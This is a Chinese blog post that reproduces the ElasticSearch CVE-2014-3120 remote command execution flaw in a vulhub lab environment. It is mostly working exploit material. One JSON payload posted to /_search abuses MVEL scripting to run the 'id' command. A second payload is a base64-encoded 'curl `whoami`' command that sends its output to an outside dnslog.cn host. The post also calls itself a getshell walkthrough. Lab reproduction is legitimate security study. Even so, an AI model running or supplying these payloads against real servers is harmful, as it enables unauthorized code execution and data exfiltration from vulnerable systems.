【vulhub】ElasticSearch 命令执行漏洞(CVE-2014-3120)漏洞验证与getshell

漏洞详情

老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。elasticsearch版本:v1.1.1

详细过程请看

CVE-2014-3120 (命令执行漏洞)
这里楼主只复现2个payload

页面

/_search?pretty

post传参

payload1

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}
    }
}

【vulhub】ElasticSearch 命令执行漏洞(CVE-2014-3120)漏洞验证与getshell_第1张图片

payload2

dnslog获取一个dns地址
【vulhub】ElasticSearch 命令执行漏洞(CVE-2014-3120)漏洞验证与getshell_第2张图片
拼接命令

curl `whoami`.gp4pts.dnslog.cn

进行base64编码
【vulhub】ElasticSearch 命令执行漏洞(CVE-2014-3120)漏洞验证与getshell_第3张图片
替换相应的payload,然后重发包
【vulhub】ElasticSearch 命令执行漏洞(CVE-2014-3120)漏洞验证与getshell_第4张图片
成功回显
【vulhub】ElasticSearch 命令执行漏洞(CVE-2014-3120)漏洞验证与getshell_第5张图片
参考文章:
https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120

你可能感兴趣的:(ElasticSearch,vulhub)